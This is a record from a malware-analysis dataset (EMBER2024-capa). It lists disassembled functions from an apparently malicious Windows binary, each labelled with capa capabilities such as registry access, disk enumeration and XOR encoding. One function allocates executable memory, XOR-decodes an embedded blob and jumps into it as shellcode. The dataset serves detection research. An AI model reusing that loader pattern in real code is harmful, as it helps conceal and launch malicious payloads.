joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1008936
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push ebx
push esi
mov esi, dword [sym.imp.msvcrt.dll_wcscpy]
and dword [ebp - 8], 0
and dword [ebp - 4], 0
push edi
mov edi, ecx
push str.windows_
lea eax, [edi + 0x9c]
push eax
call esi
lea eax, [edi + 0x2a6]
push str.windows_system_
push eax
mov dword [ebp - 0x14], eax
call esi
mov ebx, str._recycled_
lea eax, [edi + 0x4b0]
push ebx
push eax
mov dword [ebp - 0x10], eax
call esi
lea eax, [edi + 0x6ba]
push str._recycler_
push eax
call esi
lea eax, [edi + 0x8c4]
push str._temporary_internet_files_
push eax
mov dword [ebp - 0x18], eax
call esi
lea eax, [edi + 0xace]
push str.microsoftmedia_player
push eax
mov dword [ebp - 0xc], eax
call esi
lea eax, [edi + 0xcd8]
push str.windows_temp_
push eax
call esi
lea eax, [ebp - 0x224]
push ebx
push eax
call esi
add esp, 0x40
mov ebx, 0x104
lea esi, [edi + 0x9c]
push ebx
push esi
call fcn.01023242
push esi
mov esi, dword [sym.imp.msvcrt.dll__wcslwr]
call esi
pop ecx
lea eax, [edi + 0xcd8]
push eax
push ebx
call fcn.010214e7
lea ebx, [edi + 0xcd8]
mov ecx, edi
push ebx
call fcn.0100362e
push ebx
call esi
pop ecx
lea eax, [ebp - 8]
push eax
call dword [sym.imp.shell32.dll_SHGetMalloc]
xor ebx, ebx
mov dword [ebp - 0x1c], eax
cmp eax, ebx
jne 0x1008aee
mov edi, dword [sym.imp.shell32.dll_SHGetSpecialFolderLocation]
lea eax, [ebp - 4]
push eax
push 0x1a
push ebx
call edi
cmp dword [ebp - 4], ebx
je 0x1008a64
push dword [ebp - 0xc]
push dword [ebp - 4]
call fcn.010231d3
push str.microsoftmedia_player
push dword [ebp - 0xc]
call dword [sym.imp.msvcrt.dll_wcscat]
push dword [ebp - 0xc]
call esi
mov eax, dword [ebp - 8]
add esp, 0xc
push dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov dword [ebp - 4], ebx
lea eax, [ebp - 4]
push eax
push 0xa
push ebx
call edi
cmp dword [ebp - 4], ebx
je 0x1008a92
push dword [ebp - 0x10]
push dword [ebp - 4]
call fcn.010231d3
push dword [ebp - 0x10]
call esi
mov eax, dword [ebp - 8]
pop ecx
push dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov dword [ebp - 4], ebx
lea eax, [ebp - 4]
push eax
push 0x20
push ebx
call edi
cmp dword [ebp - 4], ebx
je 0x1008ac0
push dword [ebp - 0x18]
push dword [ebp - 4]
call fcn.010231d3
push dword [ebp - 0x18]
call esi
mov eax, dword [ebp - 8]
pop ecx
push dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov dword [ebp - 4], ebx
lea eax, [ebp - 4]
push eax
push 0x25
push ebx
call edi
cmp dword [ebp - 4], ebx
je 0x1008aee
push dword [ebp - 0x14]
push dword [ebp - 4]
call fcn.010231d3
push dword [ebp - 0x14]
call esi
mov eax, dword [ebp - 8]
pop ecx
push dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 8]
pop edi
pop esi
cmp eax, ebx
pop ebx
je 0x1008afe
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x1c]
leave
ret
Function at 0x100ad93
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.msvcrt.dll__beginthreadex]
add esp, 0x18
pop ebp
ret 0x18

Function at 0x10213f0
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp byte [0x1046ee8], bl
push esi
push edi
je 0x102140b
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
jmp 0x102144f
cmp dword [ebp + 8], ebx
jne 0x1021415
or eax, 0xffffffff
jmp 0x102144f
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_lstrlenW]
lea esi, [eax + eax + 2]
lea eax, [esi + 2]
add eax, 3
and al, 0xfc
call fcn.01024980
mov edi, esp
push ebx
push ebx
push esi
push edi
push 0xffffffffffffffff
push dword [ebp + 8]
push ebx
push ebx
call dword [sym.imp.kernel32.dll_WideCharToMultiByte]
test eax, eax
jge 0x1021448
xor edi, edi
push edi
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
lea esp, [ebp - 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x10214e7
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
cmp byte [0x1046ee8], 0
je 0x1021507
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x102153c
lea eax, [ebp - 0x104]
push esi
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
mov esi, eax
test esi, esi
je 0x1021539
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push dword [ebp + 0xc]
push 0xffffffffffffffff
push eax
push 0
push 0
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov eax, esi
pop esi
leave
ret 8
Function at 0x1021c0c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp byte [0x1046ee8], bl
push esi
push edi
je 0x1021c3b
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.advapi32.dll_RegSetValueExW]
jmp 0x1021d3f
cmp dword [ebp + 0xc], ebx
mov edi, dword [sym.imp.kernel32.dll_lstrlenW]
mov esi, dword [sym.imp.kernel32.dll_WideCharToMultiByte]
jne 0x1021c51
mov dword [ebp + 0xc], ebx
jmp 0x1021c85
push dword [ebp + 0xc]
call edi
lea eax, [eax + eax + 2]
mov dword [ebp - 8], eax
add eax, 5
and al, 0xfc
call fcn.01024980
mov dword [ebp - 4], esp
push ebx
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
push 0xffffffffffffffff
push dword [ebp + 0xc]
push ebx
push ebx
call esi
test eax, eax
jl 0x1021c4c
mov eax, dword [ebp - 4]
mov dword [ebp + 0xc], eax
mov eax, dword [ebp + 0x14]
cmp eax, 1
je 0x1021cf6
cmp eax, 2
je 0x1021cf6
cmp eax, 7
jne 0x1021ced
cmp dword [ebp + 0x18], ebx
je 0x1021ce5
push dword [ebp + 0x18]
call fcn.010208b5
push dword [ebp + 0x18]
cmp eax, 0xffffffff
jne 0x1021cb1
call edi
inc eax
jmp 0x1021cb6
call fcn.010208b5
lea edi, [eax + eax]
lea eax, [edi + 2]
add eax, 3
and al, 0xfc
call fcn.01024980
mov dword [ebp - 4], esp
push dword [ebp + 0x18]
call fcn.010208b5
push ebx
push ebx
push edi
push dword [ebp - 4]
push eax
push dword [ebp + 0x18]
push ebx
push ebx
call esi
mov ebx, dword [ebp - 4]
mov dword [ebp + 0x18], eax
push dword [ebp + 0x18]
push ebx
push 7
jmp 0x1021d30
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push eax
jmp 0x1021d30
cmp dword [ebp + 0x18], ebx
je 0x1021d29
push dword [ebp + 0x18]
call edi
lea edi, [eax + eax + 2]
lea eax, [edi + 2]
add eax, 3
and al, 0xfc
call fcn.01024980
mov dword [ebp - 4], esp
push ebx
push ebx
push edi
push dword [ebp - 4]
push 0xffffffffffffffff
push dword [ebp + 0x18]
push ebx
push ebx
call esi
mov ebx, dword [ebp - 4]
mov dword [ebp + 0x18], eax
push dword [ebp + 0x18]
push ebx
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.advapi32.dll_RegSetValueExA]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
leave
ret 0x18
Function at 0x1021d49
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [0x1046ee8], 0
push ebx
push esi
push edi
je 0x1021d78
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.advapi32.dll_RegQueryValueExW]
jmp 0x1021ed8
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
jne 0x1021d84
mov dword [ebp + 0xc], ebx
jmp 0x1021dbb
push dword [ebp + 0xc]
call dword [sym.imp.kernel32.dll_lstrlenW]
lea esi, [eax + eax + 2]
lea eax, [esi + 2]
add eax, 3
and al, 0xfc
call fcn.01024980
mov edi, esp
push ebx
push ebx
push esi
push edi
push 0xffffffffffffffff
push dword [ebp + 0xc]
push ebx
push ebx
call dword [sym.imp.kernel32.dll_WideCharToMultiByte]
test eax, eax
mov dword [ebp + 0xc], ebx
jl 0x1021dbb
mov dword [ebp + 0xc], edi
lea eax, [ebp - 8]
mov esi, dword [sym.imp.advapi32.dll_RegQueryValueExA]
push eax
lea eax, [ebp - 4]
push ebx
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
cmp eax, ebx
mov dword [ebp - 0xc], eax
jne 0x1021ed8
cmp dword [ebp + 0x18], ebx
jne 0x1021e1b
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp - 4]
cmp eax, ebx
je 0x1021e09
cmp ecx, ebx
jbe 0x1021e04
cmp ecx, 2
jbe 0x1021dfd
cmp ecx, 7
jne 0x1021e04
mov edx, dword [ebp - 8]
add edx, edx
jmp 0x1021e07
mov edx, dword [ebp - 8]
mov dword [eax], edx
mov eax, dword [ebp + 0x14]
cmp eax, ebx
je 0x1021ed5
mov dword [eax], ecx
jmp 0x1021ed5
mov ecx, dword [ebp - 4]
cmp ecx, ebx
jbe 0x1021e33
cmp ecx, 2
jbe 0x1021e2c
cmp ecx, 7
jne 0x1021e33
mov eax, dword [ebp - 8]
add eax, eax
jmp 0x1021e36
mov eax, dword [ebp - 8]
mov edi, dword [ebp + 0x1c]
cmp dword [edi], eax
jae 0x1021e54
mov dword [edi], eax
mov eax, dword [ebp + 0x14]
cmp eax, ebx
je 0x1021e48
mov dword [eax], ecx
mov dword [ebp - 0xc], 0xea
jmp 0x1021ed5
cmp ecx, ebx
jbe 0x1021ec0
cmp ecx, 2
jbe 0x1021e62
cmp ecx, 7
jne 0x1021ec0
add eax, 3
and al, 0xfc
call fcn.01024980
lea eax, [ebp - 8]
mov ebx, esp
push eax
lea eax, [ebp - 4]
push ebx
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
xor esi, esi
mov dword [ebp - 0xc], eax
cmp eax, esi
jne 0x1021ed5
cmp dword [ebp - 4], esi
jbe 0x1021ed5
cmp dword [ebp - 4], 2
jbe 0x1021e9c
cmp dword [ebp - 4], 7
jne 0x1021ed5
push dword [edi]
push dword [ebp + 0x18]
push dword [ebp - 8]
push ebx
push esi
push esi
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
shl eax, 1
mov dword [edi], eax
mov eax, dword [ebp + 0x14]
cmp eax, esi
je 0x1021ed5
mov ecx, dword [ebp - 4]
jmp 0x1021e14
push edi
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
lea esp, [ebp - 0x18]
pop edi
pop esi
pop ebx
leave
ret 0x18
Function at 0x1023115
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp byte [0x1046ee8], bl
push esi
push edi
je 0x1023133
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
jmp 0x1023179
cmp dword [ebp + 8], ebx
jne 0x102313c
xor eax, eax
jmp 0x1023179
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_lstrlenW]
lea esi, [eax + eax + 2]
lea eax, [esi + 2]
add eax, 3
and al, 0xfc
call fcn.01024980
mov edi, esp
push ebx
push ebx
push esi
push edi
push 0xffffffffffffffff
push dword [ebp + 8]
push ebx
push ebx
call dword [sym.imp.kernel32.dll_WideCharToMultiByte]
test eax, eax
jge 0x102316f
xor edi, edi
push dword [ebp + 0xc]
push edi
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
lea esp, [ebp - 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x1023242
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
cmp byte [0x1046ee8], 0
push ebx
push esi
push edi
je 0x102325f
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetWindowsDirectoryW]
jmp 0x1023290
mov edi, dword [ebp + 0xc]
lea esi, [edi + edi]
mov eax, esi
add eax, 3
and al, 0xfc
call fcn.01024980
mov ebx, esp
push esi
push ebx
call dword [sym.imp.kernel32.dll_GetWindowsDirectoryA]
push edi
mov esi, eax
push dword [ebp + 8]
push 0xffffffffffffffff
push ebx
push 0
push 0
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov eax, esi
lea esp, [ebp - 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x102329a
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
xor ebx, ebx
cmp byte [0x1046ee8], bl
push esi
push edi
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
je 0x10232d7
push str.GetDiskFreeSpaceExW
push str.kernel32.dll
call fcn.01021483
push eax
call edi
cmp eax, ebx
je 0x10232d7
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
jmp 0x1023339
xor esi, esi
cmp dword [ebp + 8], ebx
je 0x1023319
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_lstrlenW]
lea esi, [eax + eax + 2]
lea eax, [esi + 2]
add eax, 3
and al, 0xfc
call fcn.01024980
mov dword [ebp - 4], esp
push ebx
push ebx
push esi
push dword [ebp - 4]
push 0xffffffffffffffff
push dword [ebp + 8]
push ebx
push ebx
call dword [sym.imp.kernel32.dll_WideCharToMultiByte]
test eax, eax
jge 0x1023316
xor esi, esi
jmp 0x1023319
mov esi, dword [ebp - 4]
push str.GetDiskFreeSpaceExA
push str.kernel32.dll
call fcn.01021483
push eax
call edi
cmp eax, ebx
je 0x102333d
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call eax
jmp 0x10233b6
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.kernel32.dll_GetDiskFreeSpaceA]
test eax, eax
je 0x10233b4
mov esi, dword [ebp + 0xc]
cmp esi, ebx
je 0x10233ac
mov edi, dword [ebp + 0x10]
cmp edi, ebx
je 0x10233ac
mov eax, dword [ebp - 8]
mul dword [ebp - 0xc]
push edx
push eax
push ebx
mov dword [ebp - 0x10], eax
push dword [ebp - 0x14]
mov dword [ebp - 0xc], edx
call fcn.01024a40
push dword [ebp - 0xc]
mov dword [esi], eax
mov dword [esi + 4], edx
push dword [ebp - 0x10]
push ebx
push dword [ebp - 0x18]
call fcn.01024a40
mov dword [edi], eax
mov eax, dword [ebp + 0x14]
cmp eax, ebx
mov dword [edi + 4], edx
je 0x10233a7
mov ecx, dword [esi]
mov dword [eax], ecx
mov ecx, dword [esi + 4]
mov dword [eax + 4], ecx
push 1
pop eax
jmp 0x10233b6
push 0x57
call dword [sym.imp.kernel32.dll_SetLastError]
xor eax, eax
lea esp, [ebp - 0x24]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x102360b
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp byte [0x1046ee8], bl
push esi
push edi
je 0x1023626
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetDriveTypeW]
jmp 0x1023665
cmp dword [ebp + 8], ebx
je 0x102365c
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_lstrlenW]
lea esi, [eax + eax + 2]
lea eax, [esi + 2]
add eax, 3
and al, 0xfc
call fcn.01024980
mov edi, esp
push ebx
push ebx
push esi
push edi
push 0xffffffffffffffff
push dword [ebp + 8]
push ebx
push ebx
call dword [sym.imp.kernel32.dll_WideCharToMultiByte]
test eax, eax
jge 0x102365e
xor edi, edi
push edi
call dword [sym.imp.kernel32.dll_GetDriveTypeA]
lea esp, [ebp - 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x102366f
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
xor ebx, ebx
xor esi, esi
cmp byte [0x1046ee8], bl
push edi
je 0x102368f
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetLogicalDriveStringsW]
jmp 0x10236d9
cmp dword [ebp + 0xc], ebx
je 0x10236cd
mov eax, dword [ebp + 8]
cmp eax, ebx
je 0x10236cd
add eax, 3
and al, 0xfc
call fcn.01024980
mov edi, esp
cmp edi, ebx
je 0x10236d7
push edi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetLogicalDriveStringsA]
mov esi, eax
cmp esi, ebx
je 0x10236d7
push dword [ebp + 8]
push dword [ebp + 0xc]
push esi
push edi
push ebx
push ebx
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
jmp 0x10236d5
push ebx
push ebx
call dword [sym.imp.kernel32.dll_GetLogicalDriveStringsA]
mov esi, eax
mov eax, esi
lea esp, [ebp - 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x1023753
Capabilities:
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x160
push ebx
xor ebx, ebx
cmp byte [0x1046ee8], bl
push esi
push edi
je 0x10237b2
mov eax, dword [0x1047308]
cmp eax, ebx
jne 0x102379c
push str.shell32.dll
call fcn.010215db
cmp eax, ebx
je 0x1023795
push str.SHGetFileInfoW
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
cmp eax, ebx
mov dword [0x1047308], eax
jne 0x102379c
xor eax, eax
jmp 0x102388c
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x102388c
test byte [ebp + 0x18], 8
je 0x10237bd
mov eax, dword [ebp + 8]
jmp 0x10237f9
cmp dword [ebp + 8], ebx
jne 0x10237c6
xor eax, eax
jmp 0x10237f9
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_lstrlenW]
lea esi, [eax + eax + 2]
lea eax, [esi + 2]
add eax, 3
and al, 0xfc
call fcn.01024980
mov edi, esp
push ebx
push ebx
push esi
push edi
push 0xffffffffffffffff
push dword [ebp + 8]
push ebx
push ebx
call dword [sym.imp.kernel32.dll_WideCharToMultiByte]
test eax, eax
jl 0x10237c2
mov eax, edi
push dword [ebp + 0x18]
lea ecx, [ebp - 0x160]
push 0x160
push ecx
push dword [ebp + 0xc]
push eax
call dword [sym.imp.shell32.dll_SHGetFileInfoA]
mov esi, dword [ebp + 0x10]
mov dword [ebp + 8], eax
cmp esi, ebx
je 0x1023889
cmp dword [ebp + 0x14], 0x2b4
jne 0x1023889
test dword [ebp + 0x18], 0x20800
je 0x1023837
mov eax, dword [ebp - 0x158]
mov dword [esi + 8], eax
test byte [ebp + 0x19], 0x12
mov edi, dword [sym.imp.kernel32.dll_MultiByteToWideChar]
je 0x1023859
lea eax, [esi + 0xc]
push 0x104
push eax
lea eax, [ebp - 0x154]
push 0xffffffffffffffff
push eax
push ebx
push ebx
call edi
test byte [ebp + 0x19], 0x41
je 0x1023870
mov eax, dword [ebp - 0x160]
mov dword [esi], eax
mov eax, dword [ebp - 0x15c]
mov dword [esi + 4], eax
test byte [ebp + 0x19], 4
je 0x1023889
add esi, 0x214
push 0x50
push esi
lea eax, [ebp - 0x50]
push 0xffffffffffffffff
push eax
push ebx
push ebx
call edi
mov eax, dword [ebp + 8]
lea esp, [ebp - 0x16c]
pop edi
pop esi
pop ebx
leave
ret 0x14
Function at 0x10247f6
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Terminate process

Disassembly:
mov ebx, 0x3d1
mov esi, 0x1049000
mov edi, 0xee6400ed
mov eax, dword [sym.imp.kernel32.dll_VirtualAlloc]
push 0x40
push 0x1000
lea ecx, [ebx*4 + 4]
push ecx
push 0
call eax
mov ecx, ebx
mov ebx, dword [esi + ecx*4]
xor ebx, edi
mov dword [eax + ecx*4], ebx
loop 0x102481f
lea eax, [eax + 0x14]
call eax
add al, 1
inc dword [ebx + 0x478940d]
add edi, edi
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x1047320]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x104731c]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x104788c], eax
call fcn.01024b0f
cmp dword [0x1044db0], ebx
jne 0x1024879
push 0x1024b0c
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.01024afa
push 0x104103c
push 0x1041038
call sub.msvcrt.dll__initterm
mov eax, dword [0x1047318]
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x6c]
push eax
push dword [0x1047314]
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.msvcrt.dll___getmainargs]
push 0x1041034
push section..data
call sub.msvcrt.dll__initterm
add esp, 0x24
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x74], esi
cmp byte [esi], 0x22
jne 0x102490c
inc esi
mov dword [ebp - 0x74], esi
mov al, byte [esi]
cmp al, bl
je 0x10248e0
cmp al, 0x22
jne 0x10248d2
cmp byte [esi], 0x22
jne 0x10248e9
inc esi
mov dword [ebp - 0x74], esi
mov al, byte [esi]
cmp al, bl
je 0x10248f3
cmp al, 0x20
jbe 0x10248e5
mov dword [ebp - 0x30], ebx
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.kernel32.dll_GetStartupInfoA]
test byte [ebp - 0x30], 1
je 0x1024917
movzx eax, word [ebp - 0x2c]
jmp 0x102491a
cmp byte [esi], 0x20
jbe 0x10248e9
inc esi
mov dword [ebp - 0x74], esi
jmp 0x102490c
push 0xa
pop eax
push eax
push esi
push ebx
push ebx
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
push eax
call main
mov dword [ebp - 0x68], eax
push eax
call dword [sym.imp.msvcrt.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x78], ecx
push eax
push ecx
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret

Function at 0x10270c0
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [esp + 0x10]
mov eax, dword [ecx + 8]
cmp eax, 1
je 0x102710c
jle 0x1027107
cmp eax, 3
jg 0x1027107
push esi
mov esi, dword [ecx]
test esi, esi
je 0x10270fe
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x10]
push ebx
sub ecx, eax
push edi
sub edx, eax
mov edi, dword [ecx + eax]
mov ebx, dword [eax]
xor edi, ebx
mov dword [edx + eax], edi
add eax, 4
dec esi
jne 0x10270ec
pop edi
pop ebx
mov eax, 1
pop esi
ret 0x10
xor eax, eax
ret 0x10
mov eax, dword [ecx + 0x10]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
push eax
mov eax, dword [esp + 8]
push ecx
push edx
push eax
call fcn.01028100
mov eax, 1
ret 0x10
Function at 0x1027680
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [esp + 0x10]
mov eax, dword [ecx + 8]
cmp eax, 1
je 0x10276cc
jle 0x10276c7
cmp eax, 3
jg 0x10276c7
push esi
mov esi, dword [ecx]
test esi, esi
je 0x10276be
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0x10]
push ebx
sub ecx, eax
push edi
sub edx, eax
mov edi, dword [ecx + eax]
mov ebx, dword [eax]
xor edi, ebx
mov dword [edx + eax], edi
add eax, 4
dec esi
jne 0x10276ac
pop edi
pop ebx
mov eax, 1
pop esi
ret 0x10
xor eax, eax
ret 0x10
mov eax, dword [ecx + 0x10]
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
push eax
mov eax, dword [esp + 8]
push ecx
push edx
push eax
call fcn.01028570
mov eax, 1
ret 0x10
Function at 0x1027ba0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
mov esi, dword [esp + 0x124]
push edi
mov eax, dword [esi + 8]
mov ebx, dword [esi]
mov edi, dword [esi + 4]
mov ecx, dword [esi + 0x124]
sub eax, 2
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], edi
mov dword [esp + 0x18], ecx
je 0x1027ce2
dec eax
je 0x1027be6
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10c
ret 0xc
mov ecx, dword [esi + 0x20]
push esi
mov edi, ecx
lea eax, [esp + 0x20]
and ecx, 0x1f
mov ebx, 1
push 1
push eax
shr edi, 5
shl ebx, cl
call fcn.01027130
test eax, eax
mov ebp, dword [esp + 0x124]
je 0x1027c24
push esi
push 1
push ebp
call fcn.01027130
test eax, eax
je 0x1027c24
mov eax, 1
jmp 0x1027c26
xor eax, eax
mov ecx, dword [esp + 0x10]
lea edi, [esp + edi*4 + 0x1c]
cmp ecx, 1
mov dword [edi], ebx
je 0x1027c97
dec ecx
mov dword [esp + 0x10], ecx
test eax, eax
je 0x1027c84
lea ecx, [esp + 0x1c]
push esi
lea edx, [esp + 0x20]
push ecx
lea eax, [esp + 0x24]
push edx
push eax
call fcn.010274b0
test eax, eax
je 0x1027c84
push esi
push ebp
push ebp
push ebp
call fcn.010274b0
test eax, eax
je 0x1027c84
mov ecx, dword [esp + 0x120]
push esi
push ebp
push ebp
lea edx, [esp + 0x28]
push ecx
push edx
call fcn.01027520
test eax, eax
je 0x1027c84
mov eax, 1
jmp 0x1027c86
xor eax, eax
mov edx, dword [edi]
mov ecx, dword [esp + 0x10]
xor edx, ebx
dec ecx
mov dword [edi], edx
mov dword [esp + 0x10], ecx
jne 0x1027c3a
test eax, eax
je 0x1027bd7
lea eax, [esp + 0x1c]
push esi
push eax
push ebp
push ebp
push ebp
call fcn.01027520
test eax, eax
je 0x1027bd7
mov ecx, dword [esp + 0x120]
push esi
lea edx, [esp + 0x20]
push ecx
push edx
call fcn.010271f0
test eax, eax
je 0x1027bd7
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10c
ret 0xc
xor esi, esi
xor edx, edx
test edi, edi
mov edi, dword [esp + 0x124]
je 0x1027d39
mov ebx, dword [esp + 0x120]
mov eax, edx
shr eax, 5
mov ecx, edx
mov ebx, dword [ebx + eax*4]
and ecx, 0x1f
shr ebx, cl
mov ebp, dword [edi + eax*4]
and ebx, 1
xor esi, ebx
mov ebx, esi
not ebx
and ebx, 1
shl ebx, cl
not ebx
and ebx, ebp
mov ebp, esi
and ebp, 1
shl ebp, cl
or ebx, ebp
inc edx
mov dword [edi + eax*4], ebx
mov eax, dword [esp + 0x10]
cmp edx, eax
jne 0x1027cf1
mov ebx, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
mov edx, dword [edi + ebx*4 - 4]
xor eax, eax
test esi, esi
sete al
shl edx, cl
shr edx, cl
mov dword [edi + ebx*4 - 4], edx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10c
ret 0xc

Function at 0x1028f60
Capabilities:
Get system information on windows

Disassembly:
sub esp, 0x24
lea eax, [esp]
push eax
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [esp + 0x18]
sub eax, 0x182
je 0x1028f94
sub eax, 0x64
je 0x1028f94
sub eax, 0x64
cmp word [esp + 0x20], 6
jb 0x1028f94
push 0xc
call fcn.0102e580
add esp, 0x24
ret
push 4
call fcn.0102e580
add esp, 0x24
ret